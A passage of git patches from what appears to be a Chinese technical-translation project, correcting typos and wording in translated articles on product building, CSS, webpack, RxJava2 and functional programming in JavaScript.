+你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品缔造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
+在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 然而现在， Baremetrics 每个月都会有 60，000 美金进账。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
@@ -31,11 +31,11 @@
 
 在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
 
-**尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
+**尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等能力。
 
 ### 2. 执行计划
 
-有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
+有一些产品没能完成的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
@@ -47,19 +47,19 @@
 
 解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
 
-比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
+比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 占领了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时之内就拿到了来自陌生人的一百美元订单。
 
 **你解决越大的痛点，就越容易找到用户。**
 
 同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
 
-想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
+想要了解更多关于这方面内容的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的起点。
 
 ### 4. 放弃”好主意/坏主意“的想法
 
 当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
 
-**相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
+**相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，当年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
 ![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 

From 40c655106da805551994c8c586db94b6267adb63 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Sat, 8 Apr 2017 11:33:32 +0800
Subject: [PATCH 077/638] fix typos

---
 TODO/preload-prefetch-and-priorities-in-chrome.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/preload-prefetch-and-priorities-in-chrome.md b/TODO/preload-prefetch-and-priorities-in-chrome.md
index 150d1401a6a..5f13ea73d2b 100644
--- a/TODO/preload-prefetch-and-priorities-in-chrome.md
+++ b/TODO/preload-prefetch-and-priorities-in-chrome.md
@@ -107,7 +107,7 @@ preload 使用 “as” 属性加载的资源将会获得与资源 “type” 
 
 ### 这将会浪费用户的带宽吗？
 
-**用“preload”和“prefetch”情况下，如果资源不能被缓存，那么都有可能浪费一部分带宽。
+**用“preload”和“prefetch”情况下，如果资源不能被缓存，那么都有可能浪费一部分带宽。**
 
 没有用到的 preload 资源在 Chrome 的 console 里会在 *onload* 事件 3s 后发生警告。
 

From d9add60f9fca9a897e37485caead9529c889380c Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Sat, 8 Apr 2017 15:46:41 +0800
Subject: [PATCH 078/638] fix **

---
 TODO/css-is-fine-its-just-really-hard.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index 692e3cca856..3160c7e1bab 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -18,7 +18,7 @@ CSS 很棒。它只是太难了，所以我对它进行了一些编译。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*ioYNZ-FgsSpoos6b3iKblg.png)
 
-很长一段时间以来, 我在电脑和手机上画了很多很多的矩形。我写了很多糟糕的 CSS，成千上万行差劲的 Less 代码和大量可怕的 Sass。他们已经融入我的血液了。
+很长一段时间以来，我在电脑和手机上画了很多很多的矩形。我写了很多糟糕的 CSS，成千上万行差劲的 Less 代码和大量可怕的 Sass。他们已经融入我的血液了。
 
 但是我也写过很多很棒的 CSS！我使用 borders 画过三角形，使用 CSS transforms 绘制贝塞尔曲线，制作 60fps 的滚动动画，以及会让你大吃一惊的工具提示。
 
@@ -30,12 +30,12 @@ CSS性能极高。长久以来，很多人都在为了让 CSS 更快速，可调
 
 —
 
-当我年轻的时候，我发现每当我想让边框和超链接文本是同一个颜色的时候我都需要在两三个不同的地方去修改，这真是太可怕了。然后我发现了 LESS。现在我可以定义一个 `@wonderfulBlue` 并且在任何地方去使用它。*喂，Jordan，现在的 CSS 也有变量了...*
+当我年轻的时候，我发现每当我想让边框和超链接文本是同一个颜色的时候我都需要在两三个不同的地方去修改，这真是太可怕了。然后我发现了 LESS。现在我可以定义一个 `@wonderfulBlue` 并且在任何地方去使用它。**喂，Jordan，现在的 CSS 也有变量了...**
 
 
-然后我开始考虑为什么要为解释 `#left-section` 的宽度是546px（250 * 2 + 23 * 2）留下很长的注释？我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。*我猜测你不熟悉 calc()，因为它浏览器兼容性不好*
+然后我开始考虑为什么要为解释 `#left-section` 的宽度是546px（250 * 2 + 23 * 2）留下很长的注释？我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。**我猜测你不熟悉 calc()，因为它浏览器兼容性不好**
 
-当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。*好吧如果你只用到了组件分类呢 —*。伙计你能停一停么？让我完成我的文章先。*我错了—*。没事，别担心，继续听下去。
+当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。**好吧如果你只用到了组件分类呢 — **。伙计你能停一停么？让我完成我的文章先。**我错了 — **。没事，别担心，继续听下去。
 
 当 CSS 解决不了我的问题时，我开始写 Less。它们会被编译成 CSS，并且它在我的用户的设备上工作的非常棒。只是我比原来忙了 10 倍，我无法单独去编写它了。
 
@@ -45,7 +45,7 @@ CSS性能极高。长久以来，很多人都在为了让 CSS 更快速，可调
 
 他们中的某些页面已经很庞大了，因此通常我们会将我们的 CSS （好吧，Less）和 JavaScript 分割成独立的文件，这样用户就不必下载练习页面的代码来观看视频。
 
-有些时候，我们移除了很多代码后样式看起来就不对了。因为我们的主页菜单可能希望有一个 `.left-arrow` 类，但是现在这个 class 的样式在 `exercise.css` 文件里。通常我们注意不到这点，因为导航条被鼠标点击几次后 `.left-arrow` 会被整齐地卷起来。*这么看来你应该有截图测试或更严格的 QA 过程*，我刚才说了什么来着？
+有些时候，我们移除了很多代码后样式看起来就不对了。因为我们的主页菜单可能希望有一个 `.left-arrow` 类，但是现在这个 class 的样式在 `exercise.css` 文件里。通常我们注意不到这点，因为导航条被鼠标点击几次后 `.left-arrow` 会被整齐地卷起来。**这么看来你应该有截图测试或更严格的 QA 过程**，我刚才说了什么来着？
 
 唉，这是很辛苦的工作！但是代码就是偶尔会出 bug，修复它们并且继续前进，这是件很酷的事。
 
@@ -68,7 +68,7 @@ CSS性能极高。长久以来，很多人都在为了让 CSS 更快速，可调
 
 CSS很好，速度很快，它已经发展了有20多年了，并且适用于各种应用程序。
 
-但是我真的不喜欢写 CSS。很多人也不喜欢，所以我们开发了这些很棒的模式去写 CSS。但是我也不喜欢以这些模式去写，我有更好的事情要去做。并且 JavaScript 也很酷。*实际上 JavaScript 有更多的可能性*。[所以我用 JavaScript 去编写我的 CSS](https://github.com/khan/aphrodite).
+但是我真的不喜欢写 CSS。很多人也不喜欢，所以我们开发了这些很棒的模式去写 CSS。但是我也不喜欢以这些模式去写，我有更好的事情要去做。并且 JavaScript 也很酷。**实际上 JavaScript 有更多的可能性**。[所以我用 JavaScript 去编写我的 CSS](https://github.com/khan/aphrodite).
 
 
 把这样的代码:

From 01ef70394f6f662541c7f6f9eac0996902a9b094 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Sat, 8 Apr 2017 15:53:25 +0800
Subject: [PATCH 079/638] =?UTF-8?q?fix=E8=BD=AC=E6=8D=A2=E6=A0=BC=E5=BC=8F?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/css-is-fine-its-just-really-hard.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index 3160c7e1bab..423250fcfb8 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -35,7 +35,7 @@ CSS性能极高。长久以来，很多人都在为了让 CSS 更快速，可调
 
 然后我开始考虑为什么要为解释 `#left-section` 的宽度是546px（250 * 2 + 23 * 2）留下很长的注释？我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。**我猜测你不熟悉 calc()，因为它浏览器兼容性不好**
 
-当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。**好吧如果你只用到了组件分类呢 — **。伙计你能停一停么？让我完成我的文章先。**我错了 — **。没事，别担心，继续听下去。
+当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。**好吧如果你只用到了组件分类呢 —**。伙计你能停一停么？让我完成我的文章先。**我错了 —**。没事，别担心，继续听下去。
 
 当 CSS 解决不了我的问题时，我开始写 Less。它们会被编译成 CSS，并且它在我的用户的设备上工作的非常棒。只是我比原来忙了 10 倍，我无法单独去编写它了。
 

From 9886d460d18b7e1f4d32fd86d87814861034d315 Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Sat, 8 Apr 2017 17:26:48 +0800
Subject: [PATCH 080/638] =?UTF-8?q?=E4=BA=8C=E6=A0=A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...k-bits-getting-the-most-out-of-the-commonschunkplugin.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
index 1d88f590d61..cd003ab1e9f 100644
--- a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
+++ b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
@@ -91,7 +91,7 @@ webpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的
       filename: "commonlazy.js"
     });
 
-类似地 —— webpack 会扫描所有 chunks 并检查公共模块。由于设置了 `async: true`，只有代码拆分的 bundles 会被扫描。因为我们并没有指明 `minChunks` 的值，所有 webpack 会取其默认值 3。综上，上述代码的含义是：
+类似地 —— webpack 会扫描所有 chunks 并检查公共模块。由于设置了 `async: true`，只有代码拆分的 bundles 会被扫描。因为我们并没有指明 `minChunks` 的值，所以 webpack 会取其默认值 3。综上，上述代码的含义是：
 
 > **嘿 webpack，请检查所有的普通（即懒加载的）chunks，如果某个模块出现在了 3 个或 3 个以上的 chunks 中，就将其分离到一个独立的异步公共 chunk 中去。**
 
@@ -99,7 +99,7 @@ webpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的
 
 ![Markdown](http://i4.buimg.com/1949/626cbab70072f442.png)
 
-现在异步 chunks 都非常的小，并且所有代码都被聚合到 `commonlazy.js` 文件中去了。因为这些 bundles 本来就很小了， 首次访问可能都察觉不到代码体积的变化。现在，每一个代码拆分的 bundle 所需携带的数据更少了；而且，通过将这些公共模块放到一个独立可缓存的 chunk 中，我们节省了用户加载时间，降低了数据消费量（data consumption）。
+现在异步 chunks 都非常的小，并且所有代码都被聚合到 `commonlazy.js` 文件中去了。因为这些 bundles 本来就很小了， 首次访问可能都察觉不到代码体积的变化。现在，每一个代码拆分的 bundle 所需携带的数据更少了；而且，通过将这些公共模块放到一个独立可缓存的 chunk 中，我们节省了用户加载时间，减少了需要传输的数据量（data consumption）。
 
 #### 更多控制：minChunks 函数 ####
 
@@ -129,7 +129,7 @@ webpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的
     function lodashMomentModuleFilter(module, count) {
       return module.resource && /lodash|moment/.test(module.resource) && count >= 2;
     }
-    
+
     function immutableReactModuleFilter(module, count) {
       return module.resource && /immutable|react/.test(module.resource) && count >=4
     }

From 719e846484632c4e1d2ca7b654644ee4d1987a76 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=94=85=E7=82=89=E5=B7=A5?= <BoilerYao@gmail.com>
Date: Sat, 8 Apr 2017 18:14:32 +0800
Subject: [PATCH 081/638] modified according to @Vivienmm's revision

---
 ...-java-2-java-8-stream-android-rxjava2-hell-part4.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md b/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
index bdc42075a07..b0b63eeb7c5 100644
--- a/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
+++ b/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md
@@ -11,13 +11,13 @@
 
 又是新的一天，如果学点新东西，这一天一定会很酷炫。
 
-小伙伴们一切顺利啊，这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)， [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)， [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经满足了一些先决条件，已经准备好用 Rx 来工作了。在使用 RxJava2 Android Observable 之前，我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8，我还感觉通过使用 Java8 的流式 API 会让 RxJava2 Android 的学习曲线更简单。
+小伙伴们一切顺利啊，这是我们的 RxJava2 Android 系列的第四部分 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)， [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)， [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。 好消息是我们已经做好准备，可以开始使用 Rx 了。在使用 RxJava2 Android Observable 之前，我会先用 Java8 的 Stream 来做响应式编程。我认为我们应该了解 Java8，我还感觉通过使用 Java8 的流式 API 会让 RxJava2 Android 的学习曲线更简单。
 
 **动机：**
 
 动机跟我在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 和大家分享过的一样。在我开始学习 RxJava2 Android 的时候，我并不知道我该怎样使用、在什么地方使用它。
 
-现在我们知道学习这个需要一些先决条件，但当初我对此一无所知。在我刚刚开始的时候，该如何从任何数据或对象上创建一个 Observable 呢。然后我知道当 Observable 上的数据发生了一些事件的时候，有接口或者可以叫做“回调”会被调用。这在理论上很棒，但是当我付诸实践的时候，GG了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题，是不能用响应或者函数式响应的思维思考问题。我有命令式编程和面向对象编程的背景，由于先入为主，所以对我来说理解会有些难。我一直在问这些问题：我该在哪里实现？我应该怎么实现？如果你跟着这篇文章看下来，我可以 100% 保证你会知道怎样把命令式代码转换到 Rx 代码，虽然写出来的 Rx 代码可能不是很好，但是你起码知道怎么开始。
+现在我们已经学会了一些预备知识，但当时我什么都不知道。我那时从学习如何从数据或对象创建 Observable 开始。然后学会当 Observable 数据上发生变化时，去调用哪些接口（或者可以叫做“回调”）。这在理论上很棒，但是当我付诸实践的时候，GG了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题，是不能用响应或者函数式响应的思维思考问题。我有命令式编程和面向对象编程的背景，由于先入为主，所以对我来说理解会有些难。我一直在问这些问题：我该在哪里实现？我应该怎么实现？如果你跟着这篇文章看下来，我可以 100% 保证你会知道怎样把命令式代码转换到 Rx 代码，虽然写出来的 Rx 代码可能不是很好，但是你起码知道怎么开始。
 
 **回顾：**
 
@@ -50,7 +50,7 @@
 
 Stream:
 
- 用来支持在元素形成的流上进行函数式操作（比如在集合上进行的 map-reduce 变换）的类(*docs.oracle*)。
+支持在元素形成的流上进行函数式操作（比如在集合上进行的 map-reduce 变换）的类(*docs.oracle*)。
 
 第一个问题：在英语中 Stream 是什么意思？
 
@@ -156,7 +156,7 @@ public static void main(String[] args) {
 
 同志们这里需要注意下！
 
-在 Java8 Stream 中有个叫做 Predicate（谓词，可以判断真假，详情见线性代数中的相关定义——译注）的函数式接口。所以，如果我想进行过滤的话需要把这个函数式接口送到流的过滤器函数里面。现在，我给大家展示在我们的代码中如何创建“大石子过滤器”。
+在 Java8 Stream 中有个叫做 Predicate（谓词，可以判断真假，详情见离散数学中的相关定义——译注）的函数式接口。所以，如果我想进行过滤的话，可以用这个函数式接口实现流的过滤功能。现在，我给大家展示在我们的代码中如何创建“大石子过滤器”。
 
 ```
 private static Predicate<String> BigStoneFilter  = new Predicate<String>() {
@@ -767,7 +767,7 @@ Observable.range(0, 10)
 
 **总结：**
 
-同志们干得好！今天我们学 Rx Android 学得很开心。我们从图画开始，然后使用了 Java8 的流（Stream）。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后，我们看到了真实项目中的示例并且展示了在现有的项目中如何开始使用 Rx，把 if 换成 filter，用 map 进行数据转化，用 flatmap 代替嵌套的循环。下篇文章： [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).
+同志们干得好！今天我们学 Rx Android 学得很开心。我们从图画开始，然后使用了 Java8 的流（Stream）。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后，我们看到了真实项目中的示例并且展示了在现有的项目中如何开始使用 Rx。最后，我展示了一些转换到 Rx 的技巧：把循环用 forEach 替换，把 if 换成 filter，用 map 进行数据转化，用 flatmap 代替嵌套的循环。下篇文章： [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).
 
 希望你们开心，同志们再见！
 

From a57c45737bc90135aac4b4343880fc81159f1b0e Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sat, 8 Apr 2017 20:12:00 +0800
Subject: [PATCH 082/638] add proofreader info

---
 TODO/using-devtools-tweak-designs-browser.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/using-devtools-tweak-designs-browser.md b/TODO/using-devtools-tweak-designs-browser.md
index fe280545985..9fc7266025c 100644
--- a/TODO/using-devtools-tweak-designs-browser.md
+++ b/TODO/using-devtools-tweak-designs-browser.md
@@ -2,7 +2,7 @@
 > * 原文作者：[AHMAD SHADEED](https://css-tricks.com/author/shadeed9/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bambooom](https://github.com/bambooom)
-> * 校对者：
+> * 校对者：[gy134340](https://github.com/gy134340) / [avocadowang](https://github.com/avocadowang)
 
 # 使用开发者工具在浏览器中调整设计
 

From 411b25901dc1d966ea0c32cfecfc26b40d05c9eb Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Sat, 8 Apr 2017 22:57:16 +0800
Subject: [PATCH 083/638] =?UTF-8?q?=E8=B7=8C=E5=AE=95=E8=B5=B7=E4=BC=8F?=
 =?UTF-8?q?=E7=9A=84=E5=87=BD=E6=95=B0=E5=BC=8F=E7=BC=96=E7=A8=8B=EF=BC=88?=
 =?UTF-8?q?=E7=BB=84=E6=88=90=E5=8C=96=E8=BD=AF=E4=BB=B6=EF=BC=89?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...ctional-programming-composable-software.md | 124 +++++++++---------
 1 file changed, 62 insertions(+), 62 deletions(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index fda67ce9863..463b3cbdc66 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -4,117 +4,117 @@
 > * 译者：
 > * 校对者：
 
-# The Rise and Fall and Rise of Functional Programming (Composing Software)
+# 跌宕起伏的函数式编程（组成化软件）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
+烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
 
-> Note: This is part 1 of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
+> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 组成软件的第一部分。保持关注，接下来还有很多！
 
-When I was about 6 years old, I spent a lot of time playing computer games with my best friend. His family had a room full of computers. To me, they were irresistible. Magic. I spent many hours exploring all the games. One day I asked my friend, “how do we make a game?”
+当我 6 岁时，我花了很多时间跟我的小伙伴玩电脑游戏，他家里有一整房间的电脑。对于我说，那是及其不可抗拒的魔力。我花了很多时间探索所有的游戏。一天我问他，“我们怎样做一个游戏？”
 
-He didn’t know, so we asked his dad, who reached up on a high shelf and pulled down a book of games written in Basic. So began my journey with programming. By the time public school got around to teaching algebra, I already knew the topic well, because programming is basically algebra. It can be, anyway.
+他不知道，所以我们问了他的老爸，他的老爸爬上一个很高的架子拿下来一本使用 Basic 编写的游戏书籍。就那样开始了我的编程之路。当公立学校开始教授代数时，我已经熟稔其中的概念了，因为编程基本上是代数。无论如何，它都是。
 
-### The Rise of Composable Software
+### 软件组成化的兴起
 
-In the beginning of computer science, before most of computer science was actually done on computers, there lived two great computer scientists: Alonzo Church, and Alan Turing. They produced two different, but equivalent universal models of computation. Both models could compute anything that can be computed (hence, “universal”).
+在计算机科学的起步阶段，在大多数的计算机科学在电脑上完成之前，有两位伟大的计算机科学家：阿隆佐·邱奇和艾伦·图灵。他们发明了两种不同、但是普遍通用的计算模型。两种都可以计算所有可被计算的东西（因此，“普遍”）。
 
-Alonzo Church invented lambda calculus. Lambda calculus is a universal model of computation based on function application. Alan Turing is known for the turing machine. A turing machine is a universal model of computation that defines a theoretical device that manipulates symbols on a strip of tape.
+阿隆佐·邱奇发明了 lambda 表达式。lambda 表达式是基于函数应用的通用计算模型。艾伦·图灵因为图灵机而知名。图灵机使用定义一个在磁带上操作符号的理论装置来计算的通用模型。
 
-Together, they collaborated to show that lambda calculus and the turing machine are functionally equivalent.
+总的说，他们共同说明了 lambda 表达式和图灵机功能上是相等的。
 
-Lambda calculus is all about function composition. Thinking in terms of function composition is a remarkably expressive and eloquent way to compose software. In this text, we’re going to discuss the importance of function composition in software design.
+lambda 表达式全是函数组成，依靠函数来编写软件是非常高效和有意义的。本文中，我们将会讨论软件设计中函数的组成的重要性。
 
-There are three important points that make lambda calculus special:
+有三点造就了 lambda 表达式的特别之处：
 
-1. Functions are always anonymous. In JavaScript, the right side of `const sum = (x, y) => x + y` is the *anonymous* function expression `(x, y) => x + y`.
-2. Functions in lambda calculus only accept a single input. They’re unary. If you need more than one parameter, the function will take one input and return a new function that takes the next, and so on. The n-ary function `(x, y) => x + y` can be expressed as a unary function like: `x => y => x + y`. This transformation from an n-ary function to a unary function is known as currying.
-3. Functions are first-class, meaning that functions can be used as inputs to other functions, and functions can return functions.
+1. 函数都是匿名的，在 JavaScript 中，右边的 `const sum = (x, y) => x + y` 等同于匿名函数 `(x, y) => x + y`.
+2. lambda 表达式中的函数只接收一个参数。他们是一元的，如果你需要多个参数，函数将会接受一个输入返回一个调用下一个函数的函数，然后继续这样。非一元函数 `(x, y) => x + y` 可以被表示为一个像 `x => y => x + y` 的一元函数。这个把多元函数转换成一元函数的过程叫做柯里化。
+3. 函数是一级的，意味着函数可以作为参数传递给其他函数，同时函数可以返回函数。
 
-Together, these features form a simple, yet expressive vocabulary for composing software using functions as the primary building block. In JavaScript, anonymous functions and curried functions are optional features. While JavaScript supports important features of lambda calculus, it does not enforce them.
+总的说来，这些特性形成使用函数作为初始模块的一个简单且具有表达性的方法来构造软件。在 JavaScript 中，函数的匿名和柯里化都是可选的特性。虽然 JavaScript 支持这些 lambda 表达式的重要属性，它却并不强制使用这些。
 
-The classic function composition takes the output from one function and uses it as the input for another function. For example, the composition:
+这些经典的函数组成方法用一个函数的输出来作为另一个函数的输入，例如，对于组合：
 
-    f . g
+	f . g
+	
+也可以写做：
 
-Can be written as:
+	compose2 = f => g => x => f(g(x))
+	
+这里是你使用它的方法：
+	
+	double = n => n * 2
+	inc = n => n + 1
+	
+	compose2(double)(inc)(3)
 
-    compose2 = f => g => x => f(g(x))
+`compose2()` 函数使用 `double` 函数作为第一个参数，使用 `inc` 函数作为第二个参数，同时对于两个函数的组合传入参数 `3`。再看一下 `compose2()` 函数所写的，`f` 是 `double()`，`g` 是 `inc()`，同时 `x` 是 `3`。函数 `compose2(double)(inc)(3)` 的调用，实际上是三个不同函数的调用：
 
-Here’s how you’d use it:
+1. 首先传入 `double` 同时返回一个新的函数。
+2. 返回的函数传入 `inc` 同时再返回一个新的函数。
+3. 再返回的函数传入 `3` 同时计算 `f(g(x))`，最后实际上是 `double(inc(3))`。
+4. `x` 等于 `3` 同时传给 `inc()`。
+5. `inc(3)` 等于 `4`。
+6. `double(4)` 等于 `8`。
+7. 函数返回 `8`。
 
-    double = n => n * 2
-    inc = n => n + 1
+组成软件时，可以被看作一个由函数组成的图。看一下下面：
+	
+	append = s1 => s2 => s1 + s2
+	append('Hello, ')('world!')
 
-    compose2(double)(inc)(3)
-
-The `compose2()` function takes the `double` function as the first argument, the `inc` function as the second, and then applies the composition of those two functions to the argument `3`. Looking at the signature of `compose2()` again, `f` is `double()`, `g` is `inc()`, and `x` is `3`. The function call, `compose2(double)(inc)(3)`, is actually 3 different function invocations:
-
-1. The first passes `double` and returns a new function.
-2. The returned function takes `inc` and returns a new function.
-3. The next returned function takes `3` and evaluates `f(g(x))`, which is now `double(inc(3))`.
